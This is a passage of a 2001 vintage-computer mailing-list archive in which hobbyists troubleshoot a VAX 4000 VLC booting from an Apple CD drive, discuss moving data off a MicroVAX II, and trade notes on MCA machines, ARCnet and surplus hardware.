RZ26 and at the CD drive. (I know, this is not both "ends" of the >cable. The RZ-26 is within about 10 cm. of the computer end of the cable.) >I've tried the terminator-block jumper in all three positions (off, on one >pair, on the other pair) on the RZ26, same results. I've also tried with >and without the external terminator on the CD, same results. Should be: RZ26 not terminated, SCSI to CD-ROM, CD-ROM terminated. If you do a SHOW DEV the ../HostID A/6 will indicate that the VLC has its host adapter set to SCSI ID 6. >When I turn everything else on, load the CD caddy with the DEC Hobbyist VMS >CD in place, then turn on the VAX, I see on the Rainbow (edited from the >Kermit session log, esc/other special characters dealt with harshly by my >text editor and me): > >KA48-A V1.3-343-V4.0 >08-00-2B-2A-D7-1A >16MB >|xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx| >?? 010 2 LCG 0086 >?? 001 9 NI 0172 >?? 121 10 SCSI 0034 > >>> > >uh-oh. I'm *hoping* the LCG line means no monitor attached to the VAX >graphics board (true, also no keyboard or mouse - yet), Possible, but I've not seen a fatal 86 error on my VLCs. Did you set switch S3 (on the side with the mouse/keyboard connectors and between them) to the 'up' position to tell it you were going to run headless? >and the NI line >means I'm not connected to a network (also true, so far). Absolutely. >Anybody with a >4000 VLC owners' manual? Yup, its open on my lap right now. >The SCSI line worries me. (When I boot without the >CD drive attached, or with the CD drive turned off, it does not appear.) If >I then do SHOW CONFIG I see: [elided, but note that you have the high-res 8 plane color board (nice) and that the internal SCSI address is 6 on the VLC, and your firmware is slightly down rev (4.0 vs 4.3)] > The SCSI system has correctly identified the addresses and types of the two >drives on it - but still shows ??'s. (I can change the address at which >INITR appears, using the SET SCSI command. No effect that I've noticed. Don't bother changing the internal SCSI address, leave it at 6 it will be more standard that way. >*However*, if I shut down the VAX, Start back up, and at the first prompt, >enter boot dka200 , the CD active light goes on and flickers as though >it were being accessed, and the Rainbow shows: > > >-DKA200 >%SYSBOOT-I-SYSBOOT Mapping the SYSDUMP.DMP on the System Disk >[...] >%SYSTEM-I-MOUNTVER, SABKUP$DKA200: is offline. Mount verification in >progress. As in, we're fscked toto. What's happening (I think) is that your CD300 is telling the VLC things it doesn't want to hear (like extended sense data) and the VLC is going about trying to interpret it and failing. If you open your AppleCD and can strap it for 512 byte sectors (force 512 byte reads) it might help, but I'm guessing you're in the market for a different drive. >Out of decorum, I suppose I should say WITW? (What in the World?) but >stronger language is what I have in mind. been there done that :-) >Help? In the absence of any clues, I'll probably take apart the CD300 to >see if I can spot anything obviously misjumpered, then start hunting for a >real DEC external CD drive. You want to change to 512 byte sectors. The AppleCD _might_ be doing 544 instead of 512. A DEC CD-ROM drive will help a lot. --Chuck From ethan_dicks at yahoo.com Wed Jun 27 15:14:13 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:05:00 2005 Subject: Looking for info - En-link Ethernet card for the Apple II In-Reply-To: <3B3A17C1.5283B1EB@greenbelt.com> Message-ID: <20010627201413.6243.qmail@web9502.mail.yahoo.com> --- Eric Chomko wrote: > > > Ethan Dicks wrote: > > A few years ago, I passed up a Lisa at a Hamfest, complete with docs, > > software and printer - it sold later that day for $25. > > Ouch! The big one that got away! Fortunately for my peace of mind, I do not remember if it was a Lisa 1 or Lisa 2. Still, it bites. > > > What's eBay fever? How can I get others to catch it? > > > > eBay fever is what the guy at the hamfest had when I attempted to haggle... > > So you're saying 'eBay fever' is a seller's malady? As I'm using it here, yes. It's the irrational mindset that any old book or piece of junk will make you rich if you put it up on eBay, and that anyone who offers you less than you think it's worth is trying to rip you off. Feh. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From ethan_dicks at yahoo.com Wed Jun 27 15:19:40 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:05:00 2005 Subject: FW: Whats a reasonable collection? In-Reply-To: <200106271726.f5RHQ8g08878@narnia.int.dittman.net> Message-ID: <20010627201940.8139.qmail@web9504.mail.yahoo.com> --- Eric Dittman wrote: > > That suggests that what I am thinking of is a DESNA. > > Most probably. The DESNA is a ChannelServer. The DEMSA and DEMSB > are the MicroServer and MicroServer-SP and are PU2, while the DESNA > and DESNB are PU5. OK. That makes sense. I never knew the DEC product names, just that they sold stuff that did things like that. We made PU2 intellegent serial cards that plopped into a Qbus or Unibus backplane and spoke with PU4s over sync serial. We stopped short of updating our products to PU2.1 and LU6.2 because the market was shrinking faster than the product cycle could fund developement. I still have a bunch of toys from those days, including a couple of HP programmable serial analzers (the ones with the TU-58-style tape) that we used to use to simulate the signon and bind of a PU5 for debugging purposes; and an Informer terminal - a self-contained 3274/3270-like device that you could daisy-chain, simulating a bunch of tubes hanging off of a terminal controller. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From dhquebbeman at theestopinalgroup.com Wed Jun 27 15:18:32 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:05:00 2005 Subject: Versatec board (ID and claim it) Message-ID: <7A9BACCEF0171D4FB77019F5104CDD37151244@jeffserver.tegjeff.com> > I have a board that describes itself as: > > VERSATEC > LSI 11 DIFF INTF > 22 BIT ADDRESS > G10-024898- > > I believe it is an interface to some sort of hard copy device. If > anyone wants it, it is theirs for the price of shipping. An interface for a Versatec Plotter... most likely one of the electrostatic variety (as opposed to their early dot-matrix models)... Do I win? -dq From spectre at stockholm.ptloma.edu Wed Jun 27 15:28:07 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:05:00 2005 Subject: Whats a reasonable collection? In-Reply-To: from Tony Duell at "Jun 27, 1 08:32:33 pm" Message-ID: <200106272028.NAA12240@stockholm.ptloma.edu> > > Wow, I didn't know Peddle designed MCA. What else did he do (besides the > Nor did I... Are you sure??? I'm kind of surprised myself. > > 6502 and the PET)? > The Sirius/Victor 9000 ? Yep, that was him. -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- Obscenity is the last refuge of a weak mind. -- Bonnie Fortney ------------- From ecloud at bigfoot.com Wed Jun 27 15:47:25 2001 From: ecloud at bigfoot.com (Shawn T. Rutledge) Date: Sun Feb 27 19:05:00 2005 Subject: Versatec board (ID and claim it) In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD37151244@jeffserver.tegjeff.com>; from dhquebbeman@theestopinalgroup.com on Wed, Jun 27, 2001 at 04:18:32PM -0400 References: <7A9BACCEF0171D4FB77019F5104CDD37151244@jeffserver.tegjeff.com> Message-ID: <20010627134725.U3760@cx47646-a.phnx1.az.home.com> On Wed, Jun 27, 2001 at 04:18:32PM -0400, Douglas Quebbeman wrote: > An interface for a Versatec Plotter... most likely one of the > electrostatic variety (as opposed to their early dot-matrix > models)... Yeah I used one of those at one job... but it had a rasterizer box. I'm not sure how the PC was wired to that. I thought the plotter was impressive; it maybe could have been used as a full-color printer too. And each color of toner was separate, in a big plastic jug, so I figured maybe consumable costs weren't too bad. Anyway I haven't got one and don't need such a board. -- _______ Shawn T. Rutledge / KB7PWD ecloud@bigfoot.com (_ | |_) http://www.bigfoot.com/~ecloud kb7pwd@kb7pwd.ampr.org __) | | \________________________________________________________________ From petersd at SEDSystems.ca Wed Jun 27 16:04:19 2001 From: petersd at SEDSystems.ca (Dave Peters) Date: Sun Feb 27 19:05:00 2005 Subject: CD Writer for a uVax II Message-ID: <3B3A4A53.40CFC4C3@sedsystems.ca> I am looking for way to get data out of a microVax II running microVMS 4.6 onto a CD ROM. The way I figure it if I can find a CD writer than works in that configuration I'm done. But I can't seem to find out whether this is even possible let alone where to buy a CD like this. Any suggestions? If the CD Writer is an impossibility then my next approach is the put a network interface on the uVax II and send the data I need to a more recent vintage. Dave -------------- next part -------------- A non-text attachment was scrubbed... Name: petersd.vcf Type: text/x-vcard Size: 271 bytes Desc: Card for Dave Peters Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010627/d7cc85b2/petersd.vcf From cmcmanis at mcmanis.com Wed Jun 27 16:37:19 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:05:00 2005 Subject: CD Writer for a uVax II In-Reply-To: <3B3A4A53.40CFC4C3@sedsystems.ca> Message-ID: <5.0.0.25.2.20010627143446.0262c200@209.185.79.193> Writing CDR's on VMS 4.6 won't work. Your MicroVAX II already _has_ a network interface and I'd suggest you use that to get the data off. Either bring up the DECNet suite on a Linux box and suck the data off that way or install Multinet on the MicroVAX and run TCP/IP on it long enough get it off, or take a more modern VAX that has both TCP/IP and DECNet installed and pull it off that way. --Chuck At 03:04 PM 6/27/01 -0600, Dave Peters wrote: >I am looking for way to get data out of a microVax II >running microVMS 4.6 onto a CD ROM. > >The way I figure it if I can find a CD writer than works in >that configuration I'm done. But I can't seem to find out >whether this is even possible let alone where to buy a CD >like this. Any suggestions? >If the CD Writer is an impossibility then my next approach >is the put a network interface on the uVax II and send the >data I need to a more recent vintage. > > >Dave From healyzh at aracnet.com Wed Jun 27 17:05:38 2001 From: healyzh at aracnet.com (healyzh@aracnet.com) Date: Sun Feb 27 19:05:00 2005 Subject: CD Writer for a uVax II In-Reply-To: <3B3A4A53.40CFC4C3@sedsystems.ca> from "Dave Peters" at Jun 27, 2001 03:04:19 PM Message-ID: <200106272205.f5RM5cF06442@shell1.aracnet.com> > I am looking for way to get data out of a microVax II > running microVMS 4.6 onto a CD ROM. > > The way I figure it if I can find a CD writer than works in > that configuration I'm done. But I can't seem to find out > whether this is even possible let alone where to buy a CD > like this. Any suggestions? > > If the CD Writer is an impossibility then my next approach > is the put a network interface on the uVax II and send the > data I need to a more recent vintage. Unfortunatly you don't state what the resulting CD-ROM needs to be readable on. If it needs to be an ODS-2 CD-ROM your best bet looks to be to obtain a VMS box with VMS V5.4 or newer. Though from the looks of things it really should have V6.2 or newer. You can then use the following to create a disk image that you can then burn to CD-R on a PC, Mac, or Unix box. http://www.openvms.compaq.com/freeware/FREEWARE50/LD063/ If you need to read the CD-ROM on a non-VMS box, then things are going to get tricky. Also some information about the MicroVAX II itself would help. I assume you've got RD5x drives on a RQDX3 controller? If you're lucky enough to have a SCSI controller and have SCSI Hard Drives on the system then there is another trick that should work as long as the disks are under 650MB. Zane From mikeford at socal.rr.com Wed Jun 27 17:04:58 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:05:01 2005 Subject: Whats a reasonable collection? In-Reply-To: References: <7A9BACCEF0171D4FB77019F5104CDD3715122D@jeffserver.tegjeff.com> Message-ID: >The last MCA I am aware of ran at 40MHz. Ran stupid fast at that clock >rate. I have some DX50 processor complexes, and a couple type 4 that run pentium 90 mhz I think. From mikeford at socal.rr.com Wed Jun 27 17:00:53 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:05:01 2005 Subject: Intro and plotter question. In-Reply-To: <01C0FF05.D3140D80.melvin.williams@varian.com> Message-ID: >My name is Mel and I just found this list. >I am currently trying to get a couple of pen plotters working. The first is >a sweet pea six shooter. It runs the self test fine but I don't have the >manual for it. I need to know about any cabling issues. The other is a I also have a sweet pea plotter, not sure of model, but it kind of looks like one I used about 18 years ago on a Apple II system. No manual either, but I am looking. From janet.meyer at angelo.edu Wed Jun 27 17:25:04 2001 From: janet.meyer at angelo.edu (Jan Meyer) Date: Sun Feb 27 19:05:01 2005 Subject: Jetform Central 5.0 Message-ID: <5.1.0.14.0.20010627171852.00a69730@mailserv.angelo.edu> Thought someone working with HP/UX would be interested. From ard at p850ug1.demon.co.uk Wed Jun 27 14:54:58 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:05:01 2005 Subject: Versatec board (ID and claim it) In-Reply-To: <993670882.3b3a36e261ab8@email.ou.edu> from "Jeffrey S. Sharp" at Jun 27, 1 02:41:22 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 303 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010627/be49e5af/attachment.ksh From foo at siconic.com Wed Jun 27 16:40:55 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:05:01 2005 Subject: Micro Cornucopia magazines In-Reply-To: Message-ID: On Wed, 27 Jun 2001, Paul R. Santa-Maria wrote: > I've got seven responses for these magazines. Do I draw names out of > a hat? Do I start an auction? You should give them to the person that is making a publicly accessible archive of computer books, manuals and magazines. (completely shameless plug :) Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From xds_sigma7 at hotmail.com Wed Jun 27 18:24:26 2001 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 19:05:01 2005 Subject: Request for those skilling in locating odd bits- Message-ID: Ok, for what its worth, it's only the desk the Wang mounts in that is in the garage... And it is a 2200MVP.. Also, for what its worth, should anyone ever need it, I have the software for a MINC on the original floppies.. And I know where there are like 4 MINC racks (sans MINC, else I'd have a MINC rather than merely having most of the boards from one). Oh yeah, in other words I'd love to find a MINC : ) Will J _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From vaxman at qwest.net Wed Jun 27 19:28:47 2001 From: vaxman at qwest.net (Clint Wolff (VAX collector)) Date: Sun Feb 27 19:05:01 2005 Subject: Micro Cornucopia magazines In-Reply-To: Message-ID: I would suggest a sealed bid. 1) Everyone who wants it sends in a bid. 2) Award to the highest bidder, or (ebay fashion) 1 dollar more than the second highest bidder. Alternately, a two stage sealed bid: 1) Everyone who wants it sends in a bid. 2) All non-high bidders have the option of raising their bid above the winning bid. 3) The the high bidder from (1) has the option of paying 1 dollar more than the highest second round bid. Clint PS I agree with the not first responder... I can only read the 100+ emails at night, so I miss all the noon offers :( On Wed, 27 Jun 2001, Paul R. Santa-Maria wrote: > > I've got seven responses for these magazines. Do I draw names out of a > hat? Do I start an auction? > > I do not want to give it to the first responder because I read the digest > version so I never get to be the first responder. > > Paul R. Santa-Maria > Monroe, Michigan USA > > > > From optimus at canit.se Wed Jun 27 18:45:10 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:05:01 2005 Subject: Whats a reasonable collection? In-Reply-To: Message-ID: <1383.579T500T454041optimus@canit.se> Vance Dereksen skrev: >Responses inline: Where else? >On 27 Jun 2001, Iggy Drougge wrote: >> Vance Dereksen skrev: >> >> >I love microchannel equipment. 8-) >> >> I did an MCA pick-up today, entirely free. Got a set of sealed little TR >> adaptors, various IBM hard drives, different protocol adaptors, two 8514/A >> adaptors, a Future Domain SCSI adaptor, a RAM expansion card, XGA2 ID >> plugs, as well as a huge load of ISA junk and a Xircom parallel Ethernet >> adaptor. >That Ethernet should come in handy. If I were you, I would lend that FD >SCSI to Jaromir Dolecek. He's writing MCA card drivers for NetBSD. In what way would the parallel Ethernet be handy? I'm planning to send a whole lot of things to Jaromir, only I haven't planned postage to the Czech republic into my very cramped summer budget. =) >> Question 2: I got a little black plastic box by IBM with one DB25m, one >> DB25f and one DA9f. I suppose this is some kind of test equipment, but >> what? >It's a serial/parallel wrap plug. The advanced tests on PS/2 reference >diskettes need them to do port testing. It's a handy thing to keep >around. Ooh, I feel so professional. Just like a field serviceman or something. >> BTW, I'm also very fond of MCA. Just glad I haven't got on my own desktop. >> =) >Why not? It's such a bother with all those silly ADF files. -- En ligne avec Thor 2.6a. From optimus at canit.se Wed Jun 27 18:54:27 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:05:01 2005 Subject: FW: Whats a reasonable collection? In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD3715122C@jeffserver.tegjeff.com> Message-ID: <803.579T1350T544619optimus@canit.se> Douglas Quebbeman skrev: >To round out that heterogeny, you need a set of Thomas-Conrad ARCNet >cards (unless you can find 20Mbps-Datapoint cards), a passive hub, >and a serial-port-based Token-ring network that uses software written >in Russia. The Russian software lets you host drives that are actually >shares from other machines! Why Thomas-Conrad in particular? Is there some kind of 20Mb Arcnet version? >You'll want to use a Mac to bridge Ethernet to Localtalk, if you >can find the software... Or why not a Shiva box? >What else? Apollo Tokenring, FDDI... -- En ligne avec Thor 2.6a. Georgie beundrade stor?gt sin pappa som med v?ldsamma slag gick l?s p? det stora tr?det. Han badade i svett, och den muskul?sa kroppen bl?nkte i solskenet. Hon ?lskade honom. Lady Georgie, TMS 1983 From optimus at canit.se Wed Jun 27 19:30:13 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:05:01 2005 Subject: 2 awesome days of awesome finds! In-Reply-To: <001901c0ff19$82f84d70$e619d7d1@DOMAIN> Message-ID: <401.579T650T904359optimus@canit.se> Mike skrev: >From: Will Jennings >>works and he said that "they could fill my pickup" with minicomputers! I now >> own 10 minis with blinkenlights.. and only 1 of them is DEC! YAY! >So... what other minis did you score? An Austin, a Cooper and a Clubman? -- En ligne avec Thor 2.6a. Alle Verallgemeinerungen sind gef?hrlich, sogar diese. --- Alexandre Dumas der ?ltere From optimus at canit.se Wed Jun 27 20:05:01 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:05:01 2005 Subject: Slightly OT: Help? Apple CD 300 and VAX 4000 VLC In-Reply-To: Message-ID: <619.579T50T1253607optimus@canit.se> Hans H?bner skrev: >If you have a spare external SCSI harddisk, you can make a blockwise copy of >the CD to the disk (using dd under unix) and boot from that. Hard disks >(almost always) have a block size of 512 bytes and VMS installs just fine >from a hard drive with the image of a VMS installation CD on it. Ooh, that reminds me of my TK50 troubles (Getting Ultrix off TK50s and onto a DECstation with only a VAX with a TK50 drive and NetBSD). Would a dd from such a cartridge onto a HD work? I'm generally ignorant about TK50s and how they work. They're bootable tapes, aren't they? -- En ligne avec Thor 2.6a. From optimus at canit.se Wed Jun 27 20:17:41 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:05:01 2005 Subject: 1% (was Re: Looking for info - En-link Ethernet card for the Apple II) In-Reply-To: <20010627201125.7997.qmail@web9501.mail.yahoo.com> Message-ID: <1898.579T2050T1375603optimus@canit.se> Ethan Dicks skrev: >--- Eric Chomko wrote: >> >> Ethan Dicks wrote: >> >> > > > ...the 1% rule - ten years later, you can get a computer for 1% of >> > > > its original purchase price. >> >> Well I suspect that the 1% rule means that a system is a) not rare, and b) >> totally obsolete in the sense that all its functionality can be had in >> newer machines (more at superset). >As I disclaimed, this does not account for the collector value of certain >computers, especially as you get far beyond 10 years. A 10-year-old >computer hits 1%; a 25-year-old computer is frequently worth more than it >was at 10 years, but not necessarily more than it was when it was new. It's quite funny how I've been given working Mac IIci setups or at most have paid 25 crowns (hamburger money) for them, whereas finding an (unexpanded) Amiga 3000 or Atari TT (equivalent systems at the time, but with a cheaper price tag) below 1000 crowns is very difficult. Similarly, classic workstations seem to be worth peanuts (at least on eBay). If only Amigas had been a success in the academic world, then I could buy them by the dozen on eBay. =) >> I'm trying to think of a coin collecting equivalent and can only think of >> coins sold by the pound (weight). Many coin dealers actually buy foreign >> coins that way. >Debased currency aside, I would think that a coin that is legible is never >worth less than face value, or 100%. Money that has been removed from >circulation (British Pound notes, for example) is no longer currency, and >could be considered to be "no longer functioning". A bundle of cotton rag >paper with colored printing on it is worth an infintessimal fraction of the >same weight in $100 bills. All British notes that I've seen have been in pounds... -- En ligne avec Thor 2.6a. Keine Grenze verlockt mehr zum Schmuggeln als die Altersgrenze. --- Robert Musil From optimus at canit.se Wed Jun 27 20:54:56 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:05:01 2005 Subject: Whats a reasonable collection? In-Reply-To: Message-ID: <1642.579T2800T1746353optimus@canit.se> Vance Dereksen skrev: >Responses inline: >On Wed, 27 Jun 2001, Mike Ford wrote: >> >BTW, I'm also very fond of MCA. Just glad I haven't got on my own desktop. >> >=) >> >> A model 9595 was the first computer I was really impressed with >> mechanically when I opened it up. Its built like a Porsche, and actually >> LOOKS good internally. >The 8595/9595 is an excellent machine. Another one that I like very much >is the MCA/PCI IBM PC Server 320 (8640). I spent this day evaluating all my disk brackets to see if one of them would fit the 95. No such luck. I guess I'll have to work something out with a saw and some plywood. Then I spent the evening manufacturing drive power cables, since the 95 power supply has got sockets just like those on drives, as opposed to plugs prodding out of it as on every other PC PSU I've ever seen. Then I carried a big, heavy SCSI drive back home so as to get it up and running with a reference partition. >> I have a couple dozen of various models, with about a dozen 9595 servers. >> One of my big scores in the auction last month was a box of 3Com MCA 10bt >> cards I had been trying to buy for a year or two. >I am trying to find some of those 100Base-T Olicom MCA cards. As spartan as my 95 was when I got it, at least it had one such card and an MO drive. Now, if only it had support under some decent OS... -- En ligne avec Thor 2.6a. Wenn ich ein Junge w?r / das wu?te ich so gut / was so ein junger Boy / aus lauter Liebe tut /?ich w?rde in die Schwulenscene gehn /?und sexy Boys den Kopf verdrehn / ich h?tt genug Verkehr / wenn ich ein Junge w?r. Wenn ich ein Junge w?r - Nina Hagen From menadeau at mediaone.net Wed Jun 27 20:56:26 2001 From: menadeau at mediaone.net (Michael Nadeau) Date: Sun Feb 27 19:05:01 2005 Subject: literature to swap or ??? References: <200106270258.TAA24836@mail.telisphere.com> Message-ID: <02a801c0ff75$8ffaaac0$0c01a8c0@michaelnadeau> I've finally sorted through my archives collected over 20 years as a computer journalist, and I have a list of duplicate items that I prefer to swap for literature I don't have. The list is too long to post here, so send me private email and I'll send it to you. If you don't have anything to swap, we can probably work something out. All kinds of stuff is on the list from S-100 to CP/M systems to PC era. --Mike Michael Nadeau Editorial Services 603-893-2379 From SUPRDAVE at aol.com Wed Jun 27 21:20:52 2001 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 19:05:01 2005 Subject: Whats a reasonable collection? Message-ID: <27.1788e2a8.286bee85@aol.com> In a message dated Wed, 27 Jun 2001 9:19:25 PM Eastern Daylight Time, "Iggy Drougge" writes: << Vance Dereksen skrev: >Responses inline: >On Wed, 27 Jun 2001, Mike Ford wrote: >> >BTW, I'm also very fond of MCA. Just glad I haven't got on my own desktop. >> >=) >> >> A model 9595 was the first computer I was really impressed with >> mechanically when I opened it up. Its built like a Porsche, and actually >> LOOKS good internally. >The 8595/9595 is an excellent machine. Another one that I like very much >is the MCA/PCI IBM PC Server 320 (8640). I spent this day evaluating all my disk brackets to see if one of them would fit the 95. No such luck. I guess I'll have to work something out with a saw and some plywood. Then I spent the evening manufacturing drive power cables, since the 95 power supply has got sockets just like those on drives, as opposed to plugs prodding out of it as on every other PC PSU I've ever seen. Then I carried a big, heavy SCSI drive back home so as to get it up and running with a reference partition. >> I have a couple dozen of various models, with about a dozen 9595 servers. >> One of my big scores in the auction last month was a box of 3Com MCA 10bt >> cards I had been trying to buy for a year or two. >I am trying to find some of those 100Base-T Olicom MCA cards. >As spartan as my 95 was when I got it, at least it had >one such card and an MO drive >Now, if only it had support under some decent OS... whaddya mean? It's got great support for a superior OS! OS/2 of course. Ive gotten warp server, warp connect and OS/2 version 4 running on some 95's I have. Easy and painless, although time consuming install. I believe the 9595 series are on the NT4 compatibility list... From cisin at xenosoft.com Wed Jun 27 21:25:40 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:05:01 2005 Subject: Request for those skilling in locating odd bits- In-Reply-To: Message-ID: > Ok, for what its worth, it's only the desk the Wang mounts in that is in the > garage... And it is a 2200MVP.. Also, for what its worth, should anyone ever > need it, I have the software for a MINC on the original floppies.. And I > know where there are like 4 MINC racks (sans MINC, else I'd have a MINC > rather than merely having most of the boards from one). Oh yeah, in other > words I'd love to find a MINC : ) So, . . . If you had gotten your girlfriend a mink, then your wang might still be in her garage? From dbetz at xlisper.mv.com Wed Jun 27 21:36:26 2001 From: dbetz at xlisper.mv.com (David Betz) Date: Sun Feb 27 19:05:01 2005 Subject: literature to swap or ??? References: <200106270258.TAA24836@mail.telisphere.com> <02a801c0ff75$8ffaaac0$0c01a8c0@michaelnadeau> Message-ID: <03e201c0ff7b$232520f0$7a23010a@dbnh> Hi Mike! I'm interested in seeing your list of documentation and a list of stuff you're looking for. Thanks, David Betz ----- Original Message ----- From: "Michael Nadeau" To: Sent: Wednesday, June 27, 2001 9:56 PM Subject: literature to swap or ??? > I've finally sorted through my archives collected over 20 years as a > computer journalist, and I have a list of duplicate items that I prefer to > swap for literature I don't have. The list is too long to post here, so send > me private email and I'll send it to you. > > If you don't have anything to swap, we can probably work something out. All > kinds of stuff is on the list from S-100 to CP/M systems to PC era. > > --Mike > > > Michael Nadeau > Editorial Services > 603-893-2379 > > From dogas at bellsouth.net Wed Jun 27 22:34:16 2001 From: dogas at bellsouth.net (Mike) Date: Sun Feb 27 19:05:01 2005 Subject: Micro Cornucopia magazines References: Message-ID: <000001c0ff84$675084f0$b762d6d1@DOMAIN> > > You should give them to the person that is making a publicly accessible > archive of computer books, manuals and magazines. > > (completely shameless plug :) > Or. to someone that will be hack their way through them using them as they were meant to be used... ;) - Mike: dogas@bellsouth.net From nerdware at laidbak.com Wed Jun 27 23:23:53 2001 From: nerdware at laidbak.com (Paul Braun) Date: Sun Feb 27 19:05:01 2005 Subject: X-10 (was Re: controlling power) In-Reply-To: <20010627163657.75288.qmail@web9501.mail.yahoo.com> References: <200106271541.IAA08226@stockholm.ptloma.edu> Message-ID: <200106280427.f5S4RCB13904@grover.winsite.com> > <> > > I was offered a *huge* box (> 1 cu ft) of modules at Dayton for $0.25 > each. The seller said they didn't work and I didn't feel like > speculating on a mondo pile of RS returns. I might have gotten the > whole box for the cost of two or three modules, but the time involved > to test them all was worth more than I felt they were worth. > > -ethan > > Wow! Were you there when he had just dragged them out of his van? I might have been standing right next to you and not even known it. I pawed through the boxes, too, but after seeing "reject" written on 80% of the items, I opted not to waste any more time. Paul Paul Braun WD9GCO Cygnus Productions nerdware_nospam@laidbak.com "A computer without a Microsoft operating system is like a dog without a bunch of bricks tied to its head." From jeff.kaneko at juno.com Thu Jun 28 01:09:14 2001 From: jeff.kaneko at juno.com (jeff.kaneko@juno.com) Date: Sun Feb 27 19:05:01 2005 Subject: Will the Owner of the Blue SGI Indy . . . Message-ID: <20010628.010916.-4099213.0.jeff.kaneko@juno.com> without an operating system please contact me, I've lost your address . . . Thanks (we now return you to our regularly scheduled programme . . . .) ________________________________________________________________ GET INTERNET ACCESS FROM JUNO! Juno offers FREE or PREMIUM Internet access for less! Join Juno today! For your FREE software, visit: http://dl.www.juno.com/get/tagj. From fernande at internet1.net Thu Jun 28 01:41:57 2001 From: fernande at internet1.net (Chad Fernandez) Date: Sun Feb 27 19:05:01 2005 Subject: Whats a reasonable collection? References: <1383.579T500T454041optimus@canit.se> Message-ID: <3B3AD1B5.94D84CD2@internet1.net> Well most of the cards aren't jumpered because of the, "silly ADF files". They are all software setup via the Reference disk. Only thing I don't like is a lack of fast SCSI cards. I have all kinds of good scsi cards for my EISA computer, but not my Microchannel. I wish I could find a Buslogic Wide Differential card for example, and I wish Adaptec had built a wide SCSI card too. Chad Fernandez Michigan, USA Iggy Drougge wrote: > >> BTW, I'm also very fond of MCA. Just glad I haven't got on my own desktop. > >> =) > > >Why not? > > It's such a bother with all those silly ADF files. From jhellige at earthlink.net Thu Jun 28 04:46:26 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:05:01 2005 Subject: Whats a reasonable collection? In-Reply-To: <3B3AD1B5.94D84CD2@internet1.net> References: <1383.579T500T454041optimus@canit.se> <3B3AD1B5.94D84CD2@internet1.net> Message-ID: >Well most of the cards aren't jumpered because of the, "silly ADF >files". They are all software setup via the Reference disk. Though it's still easy to get conflicts between cards on an MCA machine, changing thier setup in the software sure beats having to continually yank the card to change jumper settings. I for one remember the hours spent trying to work out ISA conflicts between sound cards and such under Win 3.1. I had one setup where I never did get my Pro AudioSpectrum fully working due to it's usage of dual IRQ's and such. Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From dhquebbeman at theestopinalgroup.com Thu Jun 28 05:40:36 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:05:01 2005 Subject: FW: Whats a reasonable collection? Message-ID: <7A9BACCEF0171D4FB77019F5104CDD37151252@jeffserver.tegjeff.com> > Douglas Quebbeman skrev: > > >To round out that heterogeny, you need a set of Thomas-Conrad ARCNet > >cards (unless you can find 20Mbps-Datapoint cards), a passive hub, > >and a serial-port-based Token-ring network that uses software written > >in Russia. The Russian software lets you host drives that are actually > >shares from other machines! > > Why Thomas-Conrad in particular? Once widely available as surplus... > Is there some kind of 20Mb Arcnet version? Datapoint had a spec for 20MBs ARCnet; I don't know if anyone every implemented it. Too bad, at that speed it would have been superior to Ethernet until the 100Mbs era began (ARCnet uses CSMA/CA to avoid collisions, instead of CSMA/CD to detect them). > >You'll want to use a Mac to bridge Ethernet to Localtalk, if you > >can find the software... > > Or why not a Shiva box? Ooo, you got a Shiva box? Sexy! > >What else? > > Apollo Tokenring, FDDI... Got the Apollo, just don't have one with two slots so I can bridge the two networks yet... -dq From dhquebbeman at theestopinalgroup.com Thu Jun 28 05:49:45 2001 From: dhquebbeman at theestopinalgroup.com (Douglas Quebbeman) Date: Sun Feb 27 19:05:01 2005 Subject: Whats a reasonable collection? Message-ID: <7A9BACCEF0171D4FB77019F5104CDD37151254@jeffserver.tegjeff.com> > > > Wow, I didn't know Peddle designed MCA. What else did he do (besides the > > > Nor did I... Are you sure??? > > I'm kind of surprised myself. Senility set in for me well before my current age of 44, so I could be wrong.... what i can be sure of is that the name of the MCA designer was a very familiar name to me as a micro enthusiast. > > > 